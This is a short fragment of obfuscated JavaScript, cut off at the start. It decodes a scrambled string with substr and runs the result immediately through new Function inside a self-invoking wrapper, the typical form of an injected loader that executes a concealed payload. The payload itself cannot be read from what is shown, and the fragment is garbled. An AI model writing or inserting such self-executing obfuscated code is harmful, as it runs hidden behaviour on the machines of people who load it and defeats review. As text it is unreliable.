]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();